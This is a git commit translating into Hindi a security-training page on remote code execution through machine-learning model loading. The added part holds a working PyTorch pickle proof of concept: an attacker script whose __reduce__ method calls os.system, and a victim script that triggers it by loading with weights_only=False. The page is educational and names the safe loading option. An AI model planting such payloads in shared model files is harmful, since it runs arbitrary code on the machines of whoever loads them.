Translated ['src/AI/AI-Models-RCE.md'] to hi

This commit is contained in:
Translator 2025-06-08 23:45:15 +00:00
parent 02f7d0cc20
commit b812f61e28

View File

@ -4,7 +4,7 @@
## Loading models to RCE
Machine Learning मॉडल आमतौर पर विभिन्न प्रारूपों में साझा किए जाते हैं, जैसे ONNX, TensorFlow, PyTorch, आदि। इन मॉडलों को डेवलपर्स की मशीनों या प्रोडक्शन सिस्टम में लोड किया जा सकता है। आमतौर पर, मॉडलों में दुर्भावनापूर्ण कोड नहीं होना चाहिए, लेकिन कुछ मामलों में मॉडल का उपयोग सिस्टम पर मनमाना कोड निष्पादित करने के लिए किया जा सकता है, जो कि एक इच्छित विशेषता के रूप में या मॉडल लोडिंग लाइब्रेरी में एक भेद्यता के कारण हो सकता है।
Machine Learning models आमतौर पर विभिन्न प्रारूपों में साझा किए जाते हैं, जैसे ONNX, TensorFlow, PyTorch, आदि। इन मॉडलों को डेवलपर्स की मशीनों या उत्पादन प्रणालियों में लोड किया जा सकता है। आमतौर पर, मॉडलों में दुर्भावनापूर्ण कोड नहीं होना चाहिए, लेकिन कुछ मामलों में मॉडल का उपयोग सिस्टम पर मनमाना कोड निष्पादित करने के लिए किया जा सकता है, जो कि एक इच्छित विशेषता के रूप में या मॉडल लोडिंग लाइब्रेरी में एक भेद्यता के कारण हो सकता है।
लेखन के समय, इस प्रकार की भेद्यताओं के कुछ उदाहरण हैं:
@ -25,4 +25,41 @@ Machine Learning मॉडल आमतौर पर विभिन्न प
इसके अलावा, कुछ पायथन पिकल आधारित मॉडल जैसे कि [PyTorch](https://github.com/pytorch/pytorch/security) द्वारा उपयोग किए जाने वाले, सिस्टम पर मनमाना कोड निष्पादित करने के लिए उपयोग किए जा सकते हैं यदि उन्हें `weights_only=True` के साथ लोड नहीं किया गया। इसलिए, कोई भी पिकल आधारित मॉडल इस प्रकार के हमलों के प्रति विशेष रूप से संवेदनशील हो सकता है, भले ही वे ऊपर की तालिका में सूचीबद्ध न हों।
उदाहरण:
- Create the model:
```python
# attacker_payload.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
```
- मॉडल लोड करें:
```python
# victim_load.py
import torch
import torch.nn as nn
class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)
model = MyModel()
# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
```
{{#include ../banners/hacktricks-training.md}}